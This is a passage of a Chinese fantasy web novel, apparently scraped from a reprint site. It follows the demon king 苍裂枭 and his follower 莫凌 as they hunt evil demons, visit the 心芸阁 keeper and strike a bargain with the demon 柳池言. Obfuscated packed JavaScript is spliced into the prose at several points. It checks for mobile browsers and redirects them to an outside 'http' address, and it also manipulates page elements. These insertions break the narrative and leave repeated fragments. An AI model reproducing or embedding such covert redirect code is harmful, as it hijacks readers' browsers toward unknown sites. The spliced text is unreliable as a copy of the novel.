心里的不平衡是一定存在的，可他没有选择，妖火契约禁锢在身，如果敢有一丝反抗的念头都会被碎尸万段。 战斗中同情与怜悯是最不该存在的东西，人群中没有所谓的同伴，只有无数个敌人想将你踩在脚下，想要被看得起就要不断强大，直到无人敢伤你。 或许就像苍裂枭，所谓的妖王不知踩着多少同胞的尸体才稳坐在这个位置。 再则，莫凌也不认为自己是弱者，毕竟在妖界已经无人能与他匹敌，但眼前这位妖王，却从未与他交过手。 苍裂枭没有注意到他的表情，抱着胳膊站在那，袖子都挽到手肘处，露出粗壮的小臂，看向他现在的样子：“你现在身份暴露还是小心为好，不要被茯苓任何一句话影响，独钟自己就是胜者。” 莫凌对上他的眼睛，苍裂枭的双目血眸如同万千火海，肆意猎杀，流不完的鲜血杀不完的敌人，眼里大概只有疯狂。 而自己却犹如一片卷入黑洞的银河，卷不起大浪，吹不动波澜，死气沉沉看似永远闪不出光亮，也扑不灭那盛大的火光。 “明白。”莫凌回应道。 “走吧，这边恶妖都已经收拾干净了，古卷已经恢复大半看来今晚它是吃饱了，接下来就看造化了。”苍裂枭双手交叉搭在脑后朝森林外走去，莫凌使用障眼法恢复人族样貌，紧随其后。 天亮了，东边光辉的太阳散发出刺眼的光芒，湛蓝的天空侵蚀了夜幕，金色光线笼罩在这片森林，阳光照射在铺满整个大地的金黄色树叶。 此时，没有斗争，没有邪物，鸟 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莫凌随便瞥了一眼刀身，发现边缘有几个凹凸不平的纹路，只有在窗外阳光照射下闪现，看似像某种符文。 但他读不懂，用指尖划过刀身断裂处将血液渗入符文，透露出亡灵的窒息感，黑色的法力将他的血彻底融入那段符文。 莫凌心里猜到什么，这次他选择注入法力明显被挡住了，不可置信地低声嘀咕：“竟然有封印？”房门外传来的脚步声打断他的思路。 转头看向门外，声音逐渐靠近，他手掌攥紧长柄，再三思索后掌心稍稍用力，镰刀被捏散消失不见，刚好苍裂枭双手推开房门，抬眸见莫凌紧张兮兮的样子：“怎么这个表情？” “没事，昨晚太累了而已。”莫凌心头一松，装作若无其事的样子。 苍裂枭从一旁搬来一张椅子坐在莫凌面前：“茯苓估计已经离开了云漫，我刚刚又去那里看了一眼，恶妖的气息一夜之间都消失了。应该是幕后主使知道了昨晚的惨败，暂且撤退了吧。” 莫凌沉思默想，说到茯苓就会想到噬青，不由地思考起来。 苍裂枭似乎察觉到他的思绪，问了一句：“有什么话想说？” 莫凌看了看他，还是没办法将噬青的事告诉他，转移话题道：“神明，是一个怎样的存在？他会在意自己所守护的人界吗？” 苍裂枭说道：“茯苓和你说了什么？” 莫凌不语。 苍裂枭冷哼一声，抬手摩挲脖子上的旧伤，“或许会吧，对我而言神明在三界中就是一个疯子。” “他很少在三界现身，哪怕是三界外的六界，对他实力不了解的家伙自然会传出一些流言蜚语。” 莫凌不明白。 苍裂枭道：“他可以为了人界屠杀一切威胁，比我和天尊还要更早当上掌管者。即便人族不知晓他的存在，那老家伙也不会有任何怨言。” “那...” 莫凌刚想要说些什么，可苍裂枭根本不给他机会。 “你以为掌管者是什么？庙里镀金的泥塑？”苍裂枭不屑一笑，“我们都是活在族人的骸骨堆上——坐不稳，就得死。” 坐不稳…就得死吗？ 莫凌有些感慨道：“还真是了不起。” 苍裂枭微微一愣，浅笑一声：“天真。” 他抬起头望向窗外极远处，背靠在椅子上无奈地叹气发牢骚：“有些债得亲自来收，有些故人，得亲眼看着他守护的东西一点一点烂掉。” 莫凌不懂，也知道不能问。 苍裂枭见他不说话，开始转移话题：“人界暂时由神界掌管，接下来找恶妖的行动可能要麻烦很多。” 莫凌回想云漫森林经过昨夜的净化，已经消除恶妖所有存留的气息。 不过，他口中的麻烦又是什么？ 明明一切都如此顺利。 苍裂枭双手交叉，直接说出他心中的疑虑：“人界已经不仅仅是恶妖存在的问题，我的法力在人界有限，只能与司音传音说明。” 就在他站起身准备离开的时候，一道声音从后面传来。 “大人与其他二位关系很好吗？”莫凌声音不大，却有一种不怕死的语气。 苍裂枭沉默了好久，嘴角微翘嗤笑一声：“可笑至极。”说完，头也不回地拉开房门，无声离开。 莫凌坐在床上面色一怔，听到关门的声音才回过神来。 看来谜题比想象中难啊。 4. 局中局迷剧中人 天界桥头伫立高大威武、昂首挺胸的龙头，它嘴里镶着深蓝色宝石被牙齿咬住，张大口朝雾气笼罩的池子中喷射泉水；前方，被四周香气四溢的荷花池围绕一座华丽高大的神殿，通体宛如白银盖成，精光四射。 这时，司命脸色慌张走过桥梁，完全忘记礼数，不顾神兵阻拦急冲冲地闯进入殿大喊：“小仙有要事禀报！” 而这一嗓，正好打断正在与天尊商议的仙子。 “司命你这像什么样子，竟然直闯神殿！” 她语气很狂妄，冰冷的话响起如腊月寒风，司命被要事冲昏头脑，听到训斥话立马站在门口愣住。 目光看去，面前这位正是悦华殿的千悦上仙。 她穿着鲜红的衣裳，背负一把长剑，再加上桀骜的神情，天界也就仅有一位如此。 “是小仙鲁莽。”司命这才回想起礼数一事，双手在胸前叠合，上身前倾对千悦和天尊参拜，声音清朗，语气很轻。 “罢了。”天尊淡淡地说了一句，他挥了挥手，让随行的神兵退下，“千悦，你的事情日后再议，先回去。” “是。”千悦参拜告退，越过司命时脸上满是不屑，哼的一声离开。 “司命，何事禀报。”天尊问道。 阴沉又暗哑的声音传进司命的耳朵，他赶忙向前一步再次行礼将头低下，把苍裂枭与他交代在人界的处境一并告知，包括想继续呆在人界的想法。 天尊听闻，眉头一紧迟迟没有舒缓，沉默许久。 司命抬头看到天尊这般沉思模样，莫名感受一股从内而外的庄严肃穆：胳膊弯曲搭在椅子上，单手托着下巴，冷目微眯在专注思考什么。 蓝眸凤眼，金冠玉饰，华丽锦袍，无一不是完美无瑕。 身上散发出非常强势的气势，但又有些耀眼得令他移不开眼，内心深处开始莫名慌乱。 “司命。”天尊突然叫他，语调很冷，轻叹一口气，“妖王在人界发生任何事情都不必再奉告本尊。” 说罢，便阖上双眼，语气十分不爽：“本尊又不是人界的掌管者，随他去吧。” 司命不解，赶忙继续说道：“可妖王继续滞留在人界万一引起大乱……” 天尊见他依旧喋喋不休，皱起眉感到不爽，抬眸间一丝寒光闪过，一根银针猛地刺去，司命瞪大眼睛，身体仿佛不听使唤一样根本不敢退，最后那些银针停留在他喉结前，仅差一点就足以要他的命。 “本尊刚刚说的话你没听到吗？。” 司命被这等压迫感差点喘不过气，待天尊收回银针他赶忙低下头行礼，声音变得颤抖：“是。” 他刚想转身离开，身后又传来天尊不轻不淡的话语：“还有，你不顾神兵阻拦硬闯神殿，去竹林领罚。” 司命听后，眉清目秀的脸上有一丝愁楚，再次转过身弯下腰，深深鞠了一躬：“遵命。” 随后便离开了神殿。 空荡的大殿中，天尊沉思许久，不紧不慢地站起身，离开那夺目惹眼的高座龙椅，面无表情走下阶梯。 这时，阳光透过长窗射下一束光，照耀到他身上的璀璨服饰闪烁着独特的光芒。 但不知为何，在光照不到的地方隐隐散发出一股孤寂、凄凉。宏伟的宫殿像是他的牢笼，华丽的衣袍在他身上犹如沉重的枷锁，金冠戴在头上好似在不断对他施压。 走到最后一阶台阶时，他停下脚步，侧过头望向窗外，天界的天空收入眼中，如同梦幻般的仙境，彩云如烟，正在缓慢朝远处飘动。 他眸光一沉，心中不知在想什么。 而同一片天空下的人界，莫凌正无趣地坐在床上，脑中已经幻想出苍裂枭与神仙谈判的场景。 估计又要无理取闹强词夺理一番，一想到那种场景，他的脸上就写满惆怅。 落寞的身影吸引来一只全身灰色小鸟落在窗沿，嘴里还叽叽喳喳叫着，它晃晃脑袋小小的眼睛充满好奇且疑惑地看向他。 莫凌耳边传来声声鸟叫，微抬起头，望过去与它四目相对。 可他的体内忽然弥漫出浓厚的法力气息，很可怕，吓得小鸟赶忙扑腾起翅膀飞向天空，窗边还掉落几根羽毛。 “？”莫凌的眼睛跟随小鸟身影直至消失在湛蓝的天空，依旧没有察觉到法力泄露。 “莫凌。” 苍裂枭的声音从他脑海中出现，“收拾好来见我。” 即使看不到他的人，也能听出他那爱下达指令的语气。 “是。”莫凌很不情愿随口应了一声，转身下床换件青蓝色的衣裳，昨日战斗时的衣服已经脏乱不堪，嫌弃得看都不想看，直接扔掉。 当走到门口时他似乎想起了什么。 余光看向放在门上的右手，轻轻挥动法力，身体几乎感受不到那把镰刀的存在，应该是噬青故意将自己气息藏了起来。 莫凌眸光幽深，没有在意的推门而出。 街道上人来人往，整个褐蛉街一眼望去：小孩子手拿风筝举过头顶，脸上挂着欢快的笑容从身边跑过，你追我赶；周围小摊铺放满各种各样的首饰，所谓富家女子或男子都会在那停留观赏；街道附近还会有一些衣衫褴褛的乞丐，肮脏的长发、肮脏的外衣、肮脏的身体，手拿破碗到处乞讨... “公子来看看吧!” 莫凌脚下故意放慢速度来到小摊铺前，一眼扫过所有物品，看上去每一样都很精美，但都不是很中意，余光一瞄被角落里的簪子吸引。 抬手将它轻轻拿起放于掌心，一只漂亮的银蓝色蝴蝶在阳光下闪烁，双翅上有着小小的铃铛。 实属移不开眼。 “公子真有眼光，这个簪子名为铃蝶，刚到的货色，据说整条街只有我这里有!”店家吹嘘道。 莫凌并未听店家说话，他看着这个簪子，能从中感受到一股熟悉的法力流动，令人心悸。 悄悄用法力探入其中，漆黑的空间立着一棵淡紫色的大树，上面挂满风铃，随风飘荡。 树下有一位女子背对着他，银色长发，白金配色的衣裳，寂静地站在那里，仰望着远处。 既熟悉又陌生的身影，莫凌的意识本能的去靠近。 忽然，那个女子好像感受到他的窥探，缓缓转过头，还没看清面容，莫凌的意识就被强制击散。 一震眩晕险些让他站不稳。 “公子？公子您没事吧？”店家问道。 莫凌摇摇头，瞥了一眼手里的簪子：“这东西我要了。” 他无心听店家对他的夸张，从袖中掏出苍裂枭给的腰包，看着这些碎银不懂人界的价格，更不懂苍裂枭给了他多少钱。 想来想去直接就将手里的钱扔出去一半，拿着铃蝶转头就走，根本没有听到身后的店家喊声。 他将簪子施加法力幻化成玉佩的模样，挂在腰间，想着日后再探究，便若无其事地继续向前走。 穿过熙熙攘攘的人群来到桥头，停下脚步目光看向前方，苍裂枭站在桥上披散着长发身穿黑色衣裳，双手撑在桥的边缘，双眼无神地盯向远方。 莫凌顺着他的视线看过去，那里有一座山，山的后面就是云漫森林，山体隐约浮现金色咒印。 苍裂枭站在这里多久他不知，盯了多久也不知，在想什么更不知。 三界的掌管者似乎拥有太多秘密，令人想不断深挖这背后的故事。 苍裂枭好像察觉到他的存在，扭头看过来，眼中的复杂神情一扫而空。 “怎么这么慢，走啦。”苍裂枭催促道，但也没有过多指责，站直身体朝另一边桥头走去，莫凌赶忙跟上。 离开桥头后，苍裂枭与莫凌沉默地穿行于褐蛉街的喧闹中。 但莫凌总会被一些奇奇怪怪的东西所吸引，眼睛时不时地往旁边瞟去。 “本王已经处理好留在人界的事情。”苍裂枭开口道。“接下来只需要想办法找到五大恶妖，将其捉回。” 莫凌听到这话，张了张嘴想说什么，但最终只是嗯了一声，目光继续落在旁边的摊位上。 “我们应该有足够的时间在人界慢慢探查，至于那些恶妖我想也只是时间问题。” “嗯。” “有异议？” 莫凌听到他因为自己无视声音变冷，身体一震，锁骨又开始隐隐作痛了，微皱眉头强忍着，转过头来对上他的眼睛：“不敢，任凭您吩咐就是。” “但愿如此。”苍裂枭声音小到只有他们能听见，漫不经心的一句话却充满不屑。 苍裂枭带着他并肩走进一家破旧的店铺，语气转变，“我们到了。” 莫凌走进店铺，淡淡地扫视一遍屋内：里面结构简单，墙上挂有几幅山水壁画，门旁放有硕大的绿色盆栽，正对面就是柜台，窗户紧锁，虽有阳光照进但站在这里几乎看不到窗外的景色。 “二位到访，在下有失远迎。” 话音刚落，身后的门啪一声，自动关上，并用法力布下结界。 当莫凌的视线从后面转回来时，柜台前不知何时站着一位男子，他戴有半框金色眼镜，身穿墨紫色大褂，还有雪白毛绒貂毛披肩，眉眼弯弯，脸上挂着平易近人的笑意，怀里还有只黑蓝异瞳黑猫。 “吾乃心芸阁阁主。”他嗓音温润，怀中的黑猫却突然炸毛，异瞳死死盯住莫凌，倏地窜下柜台消失于阴影中。 阁主轻笑一声，指尖推了推金丝镜框，缓步逼近莫凌。 随着距离缩短，莫凌袖中幻形的镰刀竟微微震颤起来。 “有趣。”阁主俯身，鼻尖几乎要触到莫凌的鬓角，如同在品鉴一道珍馐，“小妖，你灵魂里沉淀的…可不是妖界污浊的泥沼。” 他温润的嗓音在此刻显得格外刺耳，“这味道，苍裂枭可养不出来。” 莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535306|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌被他迫得后退一步，袖中镰刀震颤愈烈，几乎要破袖而出。似乎在抗拒阁主的靠近，同时也能感受到噬青的恐惧。 他怔怔抬头，却见阁主镜片后的笑意深不见底，察觉不到他身上的法力气息，无法判断是敌是友。 突然身旁的苍裂枭伸出手一巴掌摁在阁主脸上狠狠推开，露出笑容威胁对方：“管好你的窥探欲，否则本王的妖火也不长眼。” “妖王大人还是一如既往地不通人性啊。”阁主揉了揉自己的脸，语气有些失望，“来吧。” 说罢他朝柜台旁的楼梯走上去，动作迅速，步伐轻盈。 莫凌刚要跟上去，身旁苍裂枭抬手狠狠揉搓他的脑袋，淡淡道：“脏死了。”之后装作无事的样子走过。 莫凌顶着蓬乱的发型望他上楼的背影，心中即便有再多怒火现在也无处发泄，抬起胳膊整理好头发才上了楼。 来到二楼一间不大的房间内，里面的空间狭小，就算是三个人也只是勉强地站进去，这里的法力比一楼要浓郁得多，四周一片漆黑，除了一张桌子什么都看不到。 阁主在桌旁放上油灯，细长白嫩的双手从打扫干净的褐木色架子上拿出厚厚的卷轴在桌上摊开，上面写满地名，又有几处用毛笔画上的痕迹。 阁主左手拂袖，右手指着卷上五处黑点，对苍裂枭解释：“这几处便是五大恶妖频繁出现的位置，至于旃檀茯苓嘛，在下并不清楚，她行动不定，且与其他种族有密切联系。” “是谁？”苍裂枭与莫凌齐声问道。 “吾在人界范围有限，二位可莫要为难。”阁主浅浅一笑，又用手指向其他五个小点，“这几个地方妖力残留过于浓厚，可能就是你们要找的五大恶妖。” 他抬眼向莫凌不经一瞥，又装作无事地低下眼眸。 莫凌疑惑。 “这份卷轴就交于妖王大人手中，可别忘记归还。”阁主边说边将卷轴卷起，双手呈现于苍裂枭，之后两手放置袖中。 “这些地方你们不需刻意伪装，吾已在这四周布下屏障，可以肆意使用法力。”阁主嘱咐道。 “多谢。”苍裂枭嘴上道谢，语气却不屑一顾，头也不回地下楼了。 莫凌出于礼貌向他点头，刚要离开只听身后的阁主话语：“选择自身道路去看这个世界并非是件错事，就算结局无法更改，但也请记住你是谁，而非别人要你成为谁。” 莫凌看他脸上依旧挂着笑容，只不过刚刚的话像是在告诫? “莫凌！”苍裂枭在楼下呼喊他的名字，见阁主摆了摆手，下楼发现结界已经消失，打开门刺眼的阳光与吵闹的街道映入眼前，与苍裂枭再次并肩离开这间屋子。 “闲杂人已经走了，我们来玩有趣的事情吧。”黑猫不知何时出现在阁主脚下蹭来蹭去，“不过，你为什么不直接告诉那个家伙事实呢？”声音如同稚嫩的孩童一样。 阁主依靠在墙面双手抱着臂膀：“苍裂枭作为妖王竟会带一只小妖来人界难道不是很有趣，我很期待他日后会做出怎样的抉择。”说着说着嘴角微微勾起。 “不过这样也好，有些麻烦还是他们自己解决比较好。”黑猫道。。 阁主抱起黑猫一步一步地走下台阶回到楼下，看到敞开的大门，蓦然一笑。 ——妖王似乎在云漫也设下了结界。 ----------------- 走出心芸阁后，莫凌一路紧跟着苍裂枭前往卷轴指认的地点，还是没忍住好奇地问道：“那个人是谁。” 苍裂枭没有看他，盯着卷轴上标记点慢慢溢出的血迹，随口回应：“神界的罪人，不存在敌友之分。” “罪人？”莫凌追问。 苍裂枭用法力收起卷轴藏匿在手掌中，停下步伐回头看向他，语气不变：“犯下滔天大罪逃离至此，躲过神明，瞒过天尊才活下来的家伙。不过，天尊也是看在他还有利用价值的份上，才没有杀将其斩杀。” 莫凌闻言一怔，但还是有些不明白，还没等他开口苍裂枭就打断：“当然，能从他口中得到消息，也是要付出代价的。” 他的语气很平静，仿佛只是在说一件很普通的事情。 莫凌小心翼翼地追问道：“什么代价？” 苍裂枭没有说话，只是静静地看着他。同时，街上熙熙攘攘，人群穿梭不息，不时传来叫卖声，孩童们的欢笑声此起彼伏。 然而，这些嘈杂的声响却难以掩饰二人之间弥漫着一股沉重而压抑的氛围。 良久，苍裂枭轻声一笑，转身离开：“谁知道呢，别啰里八嗦的，快走。” 莫凌呆在原地觉得自己被耍了，心里很不是滋味，故意拉远距离跟在后面，但内心还是很在意他与阁主到底交付了什么代价。 无人在意的角落他腰间的铃蝶玉佩在阳光下隐隐散出法力，护住他身上散发出的气息。 5. 在下幻梦 【……白铃摇，灯笼闪。空荒街头游魂荡，古宅深处把人说。明火青灯吹不灭，佳人倒挂等魂归。】 ——叮！ 倒挂在悬梁上的先生听见房屋外风铃发出清脆的声音，猛然睁开眼睛，勾在横梁上的双腿一松，身体旋转稳稳落地，神情淡然的看向宅门外那乌烟瘴气之地： “有客人来了。”他没有开口，但他的身体却发出了声音。嘴角微扬，尖锐牙齿露出甚至沾血，眼神充满诡异。 他左手背去，右手握着一本书，脖子上戴着一条厚厚的围巾，低头认真看书中内容，很淡定地走出主宅，迈出大门身影如混沌的烟雾般消失了。 而在身后则是上百个躺在地上横七竖八人族尸体，不管是宅院还是屋内，各个面目狰狞，脸色惨白，死不瞑目。 ----------------- 随即，苍裂枭和莫凌步入红岭村，因任务在身二人对周围的诡异毫不在意，捕捉恶妖更为重要。 莫凌手拿双刀在破旧的红岭村中努力追杀着恶妖，目光锁定的敌人行动非常快，堪比上次对敌的浪鸟。 只不过这只恶妖不会贸然攻击，反而会跑的很远，直到消失在对方眼前再加以用幻术迷惑敌人。 “又消失了。”莫凌站在房顶上，看着眼前空荡荡的一切大口大口地喘着粗气。他咬着牙，双手紧握刀柄，目光扫视着四周，眼中满是警惕。 这里不像在森林时那么容易察觉到恶妖位置，浓密的黑烟，绿色的鬼影都在不停地遮挡视线，掩盖气息。 阒然间，“咻”的一声，一把生锈的砍刀从黑暗处飞来，毫无征兆，莫凌来不及反应，瞪大眼睛，似有恐慌似有无助，双手还未抬起砍刀就离自己的脑袋越来越近。 忽而，腰间的铃蝶玉佩散出神秘的力量，轻轻一击直接将砍刀击断救下来了他，碎片掉在脚边出现黑色的雾气慢慢溢出消失不见。 莫凌精神未定，再次抬起头那只恶妖已经消失在烟雾中，腰间的玉佩也变得黯淡无光。他跳下房顶来到路旁，转头看到远处姗姗来迟的苍裂枭。 不是他救的？ 他盯着苍裂枭的身影逐渐靠近，又望了望周围确定四下无人。 那会是谁？莫凌心想。 “抓到雁翎了吗？”苍裂枭询问。 莫凌摇摇头。 “那还...”苍裂枭刚想说些什么，这时他身后缓缓传来很清朗的声音，“不用追了，那恶妖生来就喜欢弃刀逃亡，这时候估计跑远了吧。” 莫凌瞬间警惕起来顺着声音看去。 这个人...是什么时候出现的？ 据记载红岭村早在几年前因祸乱及其不明原因导致无人生还，如今是人人都恐惧绝不靠近的地方。 莫凌也因此不再使用障眼法扮演人族，而苍裂枭本就与人族相像，不需要做任何伪装。 苍裂枭越过莫凌，脸上很是平静的望向那位男子，眼神略带一丝疑惑，语气不耐烦：“你是谁？” 那人坐在房屋前那布满蛛丝的椅子上，几乎没有正眼去看他，中长的头发很是整齐，视线完全被手中的书吸引，嘴唇翕翕地动，在念着什么。 他忽然合上手中的书，似乎发觉到二人那炽热的目光，站起身将书放于袖中向前走去。 “鄙人柳池言，在这里可是位书生。”柳池言对苍裂枭浅浅点个头，脸上硬生生挤出笑容，“对于妖而言，这只是常见手法。” “没兴趣。”苍裂枭不领他的情，抓起莫凌胳膊就要走。 还没走出半步，柳池言对着他们身影突然提高音量，故意大声喊：“难道妖王大人真的对在下不感兴趣吗？您身边那位，我可是相当了解。 这个村子只剩我一人，进来容易出去难，想必妖王大人的法力被人界压制不少。若等法力耗尽，可就没机会像这样和睦相谈了。” 苍裂枭顿时停下脚步，表情严肃，咬着后槽牙回头怒视着柳池言：“你想怎样？” “鄙人在这里只是位书生。”柳池言双手叠合置于胸前，对他深鞠一躬，眼中的讥笑对莫凌不再隐藏，“希望我们可以借一步说话。” “请吧，大人。”柳池言弯腰侧过身，恭恭敬敬地让出一条道路，前方云烟氤氲，不知通往何处。 莫凌见苍裂枭有些迟疑但还是走过去了，默默跟随他的脚步，向那未知的地方走去，每走一步都无比谨慎。 眸光压低，对身后这个人充满警惕，只要有一丝不利，他随时从手中召出星刃，一招致命。 身后的柳池言故意与他保持相对的距离，表情僵硬迟缓，就像身体不听使唤一样，眸中倒映出莫凌的背影，嘴角根本压不住地扬起：浓厚的法力，这次我势在必得！ 须臾间，一处偌大的古宅出现在眼前，门外坐着两个威风凛凛的石狮子，上空挂着两个忽明忽闪摇摇欲坠的灯笼。 跨过门槛走进，宅院异常干净，连杂草都没有，左右两侧房门外都挂有木条锁住，但从窗户看去，却有人影从眼前闪过。 一股诡异的力量在涌动。 莫凌谨慎地打探四周，试图想用法力探索，但被苍裂枭传音打断：不可贸然行动。 “两位，请进吧。”柳池言在客堂门前双手背后招呼他们二人，眉清目秀的脸上挂着笑容，越看越怪异。 二人进入客堂，莫凌站在门口，依靠在墙边。苍裂枭坐在离自己最近的一张红木椅子上，右胳膊搭在桌旁话不多说开门见山：“说出你的条件。” 柳池言站在苍裂枭面前，两手藏于袖中抬起挡住嘴巴，眉眼弯弯根本不想顺他的话：“我可以助妖王大人抓到红岭村所有恶妖，条件是守好这个古宅。” 苍裂枭听完，没有立马回答，他右手食指沿着桌上茶杯边缘不断抚摸绕圈，双目直勾勾盯着柳池言的脸。 片刻后，拿起茶杯一饮而尽，道：“我为什么要答应？” 柳池言依旧笑脸相迎：“就凭我比您更了解五百年前六界围剿一事。” 苍裂枭听完，手上动作一顿，片刻后又若无其事地放下杯子。 柳池言继续说：“大人现在可愿考虑？” 客堂霎时安静了下来，空气仿佛瞬间凝固，沉重得让人屏息。 莫凌听不懂他们在说什么，他的记忆停留在五百年前自己不小心跌落湖中，苍裂枭手下赤狐路过把自己叼上来才得救，最后苍裂枭看他身手了当才留在身边。 五百年前，莫凌唯一忘不掉的就是他第一次见苍裂枭，满身伤痕的躺在树荫下，享受着阳光的温暖，仿佛那样就可以治愈他身上的伤疤。 但令人心悸的是他看向天空的双眸，眼神涣散似有迷茫，像是沉浸在自己的死寂中。 可此刻，苍裂枭那骤然绷紧的下颌线与杯中微漾的茶水都在昭示着“六界围剿”四字，是他绝不容触碰的逆鳞。 莫凌不禁好奇，五百年前究竟发生过什么。 苍裂枭蹙着眉，闭上眼睛沉思许久，重重呼出一口气后再次看向柳池言，道：“你的身份是什么。” 柳池言被盯着一时没反应过来，赶忙回答：“幻梦。” 幻梦，如此陌生的恶妖身份莫凌从未听闻过，莫不是瞎编出来的？但他看向苍裂枭的表情就知道，没得选。 苍裂枭那审讯的目光盯他许久后：“好，我答应你。”他答应得过于爽快了，反而透出一种掌控局面的从容。 柳池言得逞地笑了笑，下一秒如云烟般消失在座位上，瞬移到莫凌身前细细打量，道：“你也会答应对吧，若不是我， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苍裂枭听到他这番话喝茶的动作一顿，嗤笑一声，随后站起身走向他：“真不愧是你，看透人心的能力永远那么令人恶心。” “那你呢？”莫凌毫不畏惧，直视他的眼睛，鼓起勇气发问，“作为妖王私心应该不比他小，你的所作所为就值得可信吗？” 苍裂枭面对他这质问的眼神，哼笑一声，感觉这是他听过最可笑的问题，抬手间一把火刃已出现在他的脖颈上。 他血色的眼眸黯然，火刃慢慢刺进莫凌的脖颈，血液顺着颈部流出。卫墨喊沉声道：“现在的你有什么资格质问我。记住，我说的话你不准有任何质疑，不然我会杀了你。” 他的声音中带着一丝威胁。 莫凌面露痛苦，但眼中没有一丝畏缩，抓住他的胳膊想挣脱。 就在这时，院子一声怪响传来，打破了紧张压抑的气氛。 苍裂枭闻声目光看向庭院，不耐烦地收回手“啧”了一声，眉眼压低，道：“省省力气吧，有麻烦出现了。” ----------------- “贵人相助不回头...” 柳池言措辞严谨地读出书中诗句，脚下踩着努力挣扎且不服气的恶妖雁翎，他低头看了看，眼眸加深，身体如同傀儡开始摆动。 远处墙体突然显现诡异的黑影似乎在吞噬着什么，奇怪的声音不断发出，如树木断枝？如衣袍撕扯？又如饿狼扑食？ 不知过了多久，柳池言起身抬手擦拭嘴角的血液，无所事事合上手中的书回头看向地面的雁翎尸体，整个身体莫名被撕裂开巨大口子，眼珠翻白。 很有趣，不是吗？ 6. 魇影夜袭 霎时间，莫凌手持双刀站在院子中央将一个个不断冲上来的麻烦击退。 宅院内发出巨声轰响，庭院四周墙体被众多失去理智的人族砸出凹坑。 它们与其说是人不如说遍地的行尸走肉，毫无理性可言。发青的肉身，被挖的双目，腐尸的恶浊撕开空气，张着嘴发出类似『呜呜』声。 莫凌猜测，这些人恐怕是经过多次炼化而成的傀儡，在这院中已游荡了数百年之久。 “原来所谓的守护好古宅是这个意思吗？”苍裂枭站在客堂门前无所事事，声音幽幽传来。 看着那些被莫凌踹飞的傀儡又颤颤巍巍地站起来，躯体开始愈合，行动却似乎变得迟缓了些。 苍裂枭眼眸微眯看出什么，讥讽笑道：“原来是深宅假象，幻梦的把戏真是过了几百年也毫无长进。”他长臂一甩，带有火光的链条从手心射出向那些傀儡捆去。 手指一握，所有的傀儡聚在一起动弹不得，眼底血眸闪过：“莫凌。” “明白。”莫凌心领神会，双刀一转，身形如鬼魅般疾冲而出，瞬间穿透众傀儡之躯，只余一道十字斩的残影留在原地。 不等他们躯体复合，莫凌立马转过身甩出星刃，一道蓝紫色光芒顺着苍裂枭的火链之上再一次将傀儡捆绑。 与此同时，莫凌眼眸闪过一丝紫色光芒，口中吐着简单一字：“禁。” ——叮铃！ 耳边再次响起清脆的铃声，星刃的光芒逐渐耀眼，逐渐淹没了苍裂枭的火链，当法力彻底刺穿敌人身体时，莫凌脑中也不约而同闪过那些人族记忆。 记忆中在一个阳光明媚，本是祥和安稳的一天中，所有人都在像往常一样忙忙碌碌地生活中。 【熙熙攘攘的街道上，欢声笑语，悠闲自在，更有人坐在门外的椅子上，看上去很怡然的样子，脸上挂着笑意，他们似乎都在为以后的生活而努力。 但是，他们已经没有未来。 宁静的夜晚被一场突如其来的大火所打破。不论怎么拯救都无法扑灭，人们跑啊跑啊，却永远看不到出口，逃不出被火焰包围的村庄。 笼中的烈火越烧越烈，在一片混乱中只能眼睁睁看着自己亲人爱人的生命被火焰燃尽。 他们被火海包围，哭泣、哀嚎、蜷缩，最终连同那彻骨的绝望，一并被吞噬殆尽。 几乎一夜间淹没了整个村子。】 未赴约的遗憾，看不清的敌人，怀中护不住的家人等等等等，这些记忆如洪流般冲击着莫凌的意识，仿佛要将他的头颅撑裂。 那火从何而来，因何而来，他们又是如何变成这般模样，无论过去多久，对世人而言，这仍是未解之谜。 莫凌从汹涌的记忆潮水中挣扎出来，不禁蹙紧眉头。他望向眼前，那些被刺穿的傀儡面孔在消散前扭曲得越发狰狞丑陋。 最终，消失在眼前。 古宅一切都恢复原样。 他长叹一声，缓缓闭上了双目。 成为傀儡，不入轮回。他们从这个世界上消失了，就像从来没有出现过，也不会有人记得。 “既是假象，竟还有忘不掉的过去吗？人族真是奇怪。”莫凌喃喃道，手腕微转召回落刃，在他手中快速消失不见。 “太慢了。”苍裂枭倚靠在客堂门口，双臂环绕抱臂睨视。 莫凌不理。 “‘禁’的能力对你来说还是太勉强了，不准再用。”苍裂枭叮嘱了一句，声音中带着一丝责怪。 “明白。”莫凌回答得漫不经心。 过了很久才低声道：“虽知是假的，但幻梦所造之物多半映射着现实。若这些人族真的变成傀儡，忘川河渡不了，黄泉路寻不到，彻底在这世上消失。” 苍裂枭没有说话，只是静静地听着。 “那掌管者会记得吗？”莫凌眸光微动，抬头看了他一眼，认真问道，“自己族人如此残忍的死于他人手中，会是什么心情。” 苍裂枭似乎感受到了那目光中沉甸甸的在意，他移开视线：“不会。” 还不等莫凌回应，他又道：“族人的死亡我们是不能干涉的，你的星刃本就会触碰到这些无聊的东西，不必在提了。” 莫凌没说话。 苍裂枭道：“还有，收起你的多情，他们的死亡不过是必然结果，这种事情本王经历太多了。” 莫凌身体一僵，抬眸看向他，几秒钟，那波澜不惊的海水再一次撞上燃烧不止的烈火，消不熄，焚不尽。 二者本如水火，绝难相容。此刻他多想掀起滔天巨浪，浇灭那灼烧周身的烈焰。 可他做不到。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 